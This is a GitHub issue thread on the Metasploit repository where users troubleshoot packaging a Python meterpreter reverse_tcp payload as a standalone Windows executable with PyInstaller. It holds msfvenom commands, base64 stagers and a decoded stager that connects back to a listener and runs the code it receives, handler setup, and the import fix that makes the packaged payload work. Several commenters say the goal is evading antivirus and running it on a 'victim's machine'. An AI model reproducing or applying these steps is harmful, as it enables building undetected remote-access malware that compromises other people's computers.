rapid7 / metasploit-framework

Metasploit Framework
https://www.metasploit.com/
Other
34.25k stars 14k forks source link

Converted Python meterpreter to .exe with pyinstaller throws errors #9537

Open connerdassen opened 6 years ago

connerdassen commented 6 years ago

Steps to reproduce

How'd you do it?

  1. Generate the payload with msfvenom /p python/meterpreter/reverse_tcp LHOST=192.168.1.242 LPORT=4444 -o meterpreter.py
  2. Upload the script to a windows machine and run this pyinstaller command: pyinstaller --onefile --noconsole --hidden-import ctypes meterpreter.py
  3. Start the listnener and run the created exe file.

The reason I used --hidden-import ctypes is because without it, as soon as the stage is sent and executed I see an error saying ctypes threw a NameError, and the session died immediately. With this import the session is created succesfully.

Expected behavior

A session is created and I can use it as it's supposed to

Current behavior

A session is created, but when typing help, some commands are missing:

  1. show_mount
  2. getproxy
  3. clearev
  4. getsid
  5. reg
  6. idletime

And other commands throw an error: shell: [-] Failed to spawn shell with thread impersonation. Retrying without it. [-] stdapi_sys_process_execute: Operation failed: Python exception: FileNotFoundError

ps, prgep, pkill, kill: [-] stdapi_sys_process_get_processes: Operation failed: Python exception: FileNotFoundError Note: getpid doesn't throw an error and shows the correct pid.

execute: [-] stdapi_sys_process_execute: Operation failed: Python exception: FileNotFoundError

ipconfig, ifconfig: [-] stdapi_net_config_get_interfaces: Operation failed: Unknown error

I know this might not be the place to ask this since pyinstaller isn't supported or anything, but I don't know where else I could ask and it would be great if this works like it should since most antiviruses don't detect this yet.

System stuff

Kali Linux 4.14.0-kali3-amd64

Metasploit version

4.16.38-dev-

I installed Metasploit with:

Kali package via apt

OS

VirtualBox 5.2.6 r120293 (Qt5.6.2) running Kali Linux

wchen-r7 commented 6 years ago

It looks like for some reason the stdapi extension isn't loaded. What happens if you try to load it manually? Usually like this from irb: client.core.use('stdpi').

Have you tried mettle? I heard it's still pretty decent for evasion needs.

wg135 commented 6 years ago

I have same issue. Any solution?

medmahmoudi26 commented 5 years ago

You should check for the python your system in running, metasploit uses python 2.7 to make the payload and mostly the version of pyinstaller you used is only compatable with 3.x python programs.

b4cktr4ck2 commented 5 years ago

I’m also experiencing this issue. It’s a shame, because the meterpreter session is spawned without any detection.

@wchen-r7 I tried this, no luck. I’ll post the specific error I got but it had to do with not being able to invoke it in a “Trap context”. Going to try with Mettle, will post results here.

@medmahmoudi26 could you provide a link where you saw that please? According to pyinstaller’s web site (https://www.pyinstaller.org) it says the current version is compatible with python 2.7, assuming you install it within the context of python 2.7.

b4cktr4ck2 commented 5 years ago

Update: No luck with Mettle either. I'd love to work with someone to try to get this working, because it flies right by AV (Tested on Defender currently) and some basic commands (sysinfo mostly) can be run on the victim machine. If anyone has experience with pyinstaller or has managed to get other meterpreter commands to work with this method it'd be great to find out.

busterb commented 5 years ago

Note, we have observed that some kinds of software monitor the C2 traffic, rather than the payload itself. To avoid detection would in that case require modifying the C2 traffic itself. Something doable, but if you want it to avoid detection longer term, you might need to make some local tweaks.

b4cktr4ck2 commented 5 years ago

Agreed @busterb . It looks like at this point I'll need to make changes to the behavior of the C2 traffic communication/loading, similar to #11950.

achirouze commented 5 years ago

Hello everyone ! I don't have enough time to make a patch and its pull request but it seems I have found the solution.

It's all about imports detection by PyInstaller, you will quickly understand:

  1. Generate raw payload with msfvenom -f raw -p python/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=1234

  2. The generated payload basically decode a base64 string (which is itself a python payload) and execute it : import base64,sys;exec(base64.b64decode({2:str,3:lambda b:bytes(b,'UTF-8')}[sys.version_info[0]]('aW1wb3J0IHNvY2tldCxzdHJ1Y3QsdGltZQpmb3IgeCBpbiByYW5nZSgxMCk6Cgl0cnk6CgkJcz1zb2NrZXQuc29ja2V0KDIsc29ja2V0LlNPQ0tfU1RSRUFNKQoJCXMuY29ubmVjdCgoJzEyNy4wLjAuMScsMTIzNCkpCgkJYnJlYWsKCWV4Y2VwdDoKCQl0aW1lLnNsZWVwKDUpCmw9c3RydWN0LnVucGFjaygnPkknLHMucmVjdig0KSlbMF0KZD1zLnJlY3YobCkKd2hpbGUgbGVuKGQpPGw6CglkKz1zLnJlY3YobC1sZW4oZCkpCmV4ZWMoZCx7J3MnOnN9KQ==')))

  3. Decode this base64 string:

import socket,struct,time for x in range(10): try: s=socket.socket(2,socket.SOCK_STREAM) s.connect(('127.0.0.1',1234)) break except: time.sleep(5) l=struct.unpack('>I',s.recv(4))[0] d=s.recv(l) while len(d)<l: d+=s.recv(l-len(d)) exec(d,{'s':s})

  1. In the original python payload generated with msfvenom, we have base64 import and after the base64 decoding, we need socket, struct and time. As we can see, this basic python payload is waiting for a meterpreter payload and then execute it. The meterpreter payload needs these imports : import binascii import code import os import platform import random import re import select import socket import struct import subprocess import sys import threading import time import traceback import ctypes

  2. Add the imports from points 3 and 4 on the python payload from points 1 and 2

  3. It's done ! I've used the PyInstaller command given by @connerdassen pyinstaller --onefile --noconsole --hidden-import ctypes meterpreter.py

  4. When the .exe is executed, a meterpreter session is started and commands are available.

  5. It seems than couple of commands still dont work like pgrep, but shell, execute, download, ipconfig, ifconfig, cd, ls, pwd etc... are fully working !

Vedant-Bhalgama commented 4 years ago

I didnt understand the line 5 which you are telling to copy. Please explain me what to do.

Vedant-Bhalgama commented 4 years ago

hi! I tried to do the things u told, I tried to compile the code using pyarmor (a tool which obfuscates and compile py to exe) Now It opens a session and it dies, I get this error on the target side. Also I just decoded base 64 string and then compiled python to exe, I didnt add any lines which this guy told

Capture died

Vedant-Bhalgama commented 4 years ago

Also the error states that no module named code

Vedant-Bhalgama commented 4 years ago

This is the source code i am modifying

import socket, struct, time, code, subprocess, ctypes, binaasci, os, platform, random, re, sys, traceback, threading, struct, time

for x in range(10):

    try:

        s=socket.socket(2,socket.SOCK_STREAM)

        s.connect(('10.0.2.4',1234))

        break

    except:

        time.sleep(5)

l=struct.unpack('>I',s.recv(4))[0]

d=s.recv(l)

while len(d)<l:

    d+=s.recv(l-len(d))

exec(d,{'s':s})
Vedant-Bhalgama commented 4 years ago

It gave me error of no module name binaasci also

Talhamehar007 commented 4 years ago

I think you missed the format > -f raw.

This method always works for me: msfvenom -p python/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT 4444 -f raw -o metrerpreter.py

This gives you a raw python code which you can edit or add in your other python application if you want. I always encrypt it using Cryptography and it does not get detected by any AV.

Vedant-Bhalgama commented 4 years ago

Ok, next what should I do? Maybe u can help me in this????

Talhamehar007 commented 4 years ago

Ok, next what should I do? Maybe u can help me in this????

Next Just use PyInstaller to convert it into Exe. And run it on Victim's Machine.

Vedant-Bhalgama commented 4 years ago

Means I dont need to add any modifications in the source code?

Vedant-Bhalgama commented 4 years ago

i generated a raw payload as u told i get a output like this with base64 string import base64,sys;exec(base64.b64decode({2:str,3:lambda b:bytes(b,'UTF-8')}[sys.version_info[0]]('aW1wb3J0IHNvY2tldCxzdHJ1Y3QsdGltZQpmb3IgeCBpbiByYW5nZSgxMCk6Cgl0cnk6CgkJcz1zb2NrZXQuc29ja2V0KDIsc29ja2V0LlNPQ0tfU1RSRUFNKQoJCXMuY29ubmVjdCgoJzEyNy4wLjAuMScsMTIzNCkpCgkJYnJlYWsKCWV4Y2VwdDoKCQl0aW1lLnNsZWVwKDUpCmw9c3RydWN0LnVucGFjaygnPkknLHMucmVjdig0KSlbMF0KZD1zLnJlY3YobCkKd2hpbGUgbGVuKGQpPGw6CglkKz1zLnJlY3YobC1sZW4oZCkpCmV4ZWMoZCx7J3MnOnN9KQ==')))

Now what to do? I tried to compile it to EXE but when executed i get the same error

Talhamehar007 commented 4 years ago

i generated a raw payload as u told i get a output like this with base64 string import base64,sys;exec(base64.b64decode({2:str,3:lambda b:bytes(b,'UTF-8')}[sys.version_info[0]]('aW1wb3J0IHNvY2tldCxzdHJ1Y3QsdGltZQpmb3IgeCBpbiByYW5nZSgxMCk6Cgl0cnk6CgkJcz1zb2NrZXQuc29ja2V0KDIsc29ja2V0LlNPQ0tfU1RSRUFNKQoJCXMuY29ubmVjdCgoJzEyNy4wLjAuMScsMTIzNCkpCgkJYnJlYWsKCWV4Y2VwdDoKCQl0aW1lLnNsZWVwKDUpCmw9c3RydWN0LnVucGFjaygnPkknLHMucmVjdig0KSlbMF0KZD1zLnJlY3YobCkKd2hpbGUgbGVuKGQpPGw6CglkKz1zLnJlY3YobC1sZW4oZCkpCmV4ZWMoZCx7J3MnOnN9KQ==')))

Now what to do? I tried to compile it to EXE but when executed i get the same error

What's the Error?? Can you copy paste it??

Vedant-Bhalgama commented 4 years ago

Same error which I was getting above, Meterpreter Session Died

Vedant-Bhalgama commented 4 years ago

hi! I tried to do the things u told, I tried to compile the code using pyarmor (a tool which obfuscates and compile py to exe) Now It opens a session and it dies, I get this error on the target side. Also I just decoded base 64 string and then compiled python to exe, I didnt add any lines which this guy told

Capture died

This one

venomisamaster commented 4 years ago

@Talhamehar007 If I import he following modules(told by you ) and make that exe.Will it run

venomisamaster commented 4 years ago

I am having the same problem Failed to execute the exe but the program is running fine in normal python

achirouze commented 4 years ago

So I see people are not able to make it work with my previous comment, so here is a simplified one.

  1. Generate raw payload with msfvenom -f raw -p python/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=1234 -o metrerpreter.py

  2. In the raw python code generated, insert following code in the first line : import binascii import code import os import platform import random import re import select import socket import struct import subprocess import sys import threading import time import traceback import ctypes

  3. Generate an exe file using the following commands : pyinstaller --onefile --noconsole --hidden-import ctypes meterpreter.py

Please note that the following issue is neither related to Metasploit nor Msfvenom but related to PyInstaller. PyInstaller checks in the source files which import has to be bundled in the final .exe package. It is unable to see the real needed import as the real python payload is encoded using base64.

The imports written in bulletpoint 2 are the imports needed by the final Python Payload which are correctly imported when the base64 string is decoded.

You need to add these imports into the intial raw msfvenom payload to make PyInstaller able to bundle the correct modules inside the .exe package.

An Admin should close this issue as it is not related to Metasploit ! :)

github-actions[bot] commented 3 years ago

Hi!

This issue has been left open with no activity for a while now.

We get a lot of issues, so we currently close issues after 60 days of inactivity. It’s been at least 30 days since the last update here. If we missed this issue or if you want to keep it open, please reply here. You can also add the label "not stale" to keep this issue open!

As a friendly reminder: the best way to see this issue, or any other, fixed is to open a Pull Request.

Vedant-Bhalgama commented 3 years ago

the python code seems to run fine, but when compiled to an executable file, it shows errors

Cyberdyne-Security commented 3 years ago

Fixed 🥇 Watch : https://vimeo.com/manage/videos/398143452

Chibraax commented 3 years ago

So, I generate the payload with the following command : msfvenom -f raw -p python/meterpreter/reverse_tcp LHOST=192.168.1.43 LPORT=1234 -o meterpreter.py Inside my raw payload I insert manualy the missings import, my raw payload look like that :

import binascii ;import code ;import os; import platform ;import random ;import re ;import select; import socket ;import struct ;import subprocess ;import sys ;import threading ;import time ;import traceback ;import ctypes;exec(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')('aW1wb3J0IHNvY2tldCx6bGliLGJhc2U2NCxzdHJ1Y3QsdGltZQpmb3IgeCBpbiByYW5nZSgxMCk6Cgl0cnk6CgkJcz1zb2NrZXQuc29ja2V0KDIsc29ja2V0LlNPQ0tfU1RSRUFNKQoJCXMuY29ubmVjdCgoJzE5Mi4xNjguMS40MicsMTIzNCkpCgkJYnJlYWsKCWV4Y2VwdDoKCQl0aW1lLnNsZWVwKDUpCmw9c3RydWN0LnVucGFjaygnPkknLHMucmVjdig0KSlbMF0KZD1zLnJlY3YobCkKd2hpbGUgbGVuKGQpPGw6CglkKz1zLnJlY3YobC1sZW4oZCkpCmV4ZWMoemxpYi5kZWNvbXByZXNzKGJhc2U2NC5iNjRkZWNvZGUoZCkpLHsncyc6c30pCg==')[0]))

Then i set up my server with following command : msfconsole ; use exploit/multi/handler; set payload python/meterpreter/reverse_tcp ; set lhost 192.168.1.42 ; set lport 1234 ; run

Target side I generate my executable file with this command : pyinstaller --onefile --noconsole --hidden-import ctypes reverse.py

Then on my server I receive the connection, then the script fail.

image

Thank to you to help me !

Chibraax commented 3 years ago

Ok , i found the solution. When I execute the executable in shell a error throw up ; ModuleNotFoundError: No module named 'imp'

So just in the python file we have to import imp.

So to make this python meterpreter executable work we have to insert in python file the following import :

import imp; import binascii ;import code ;import os; import platform ; import random ; import re ; import select; import socket ; import struct ; import subprocess ; import sys ; import threading ; import time ; import traceback ; import ctypes; and create the executable with pyinstaller : pyinstaller --onefile --noconsole --hidden-import ctypes reverse.py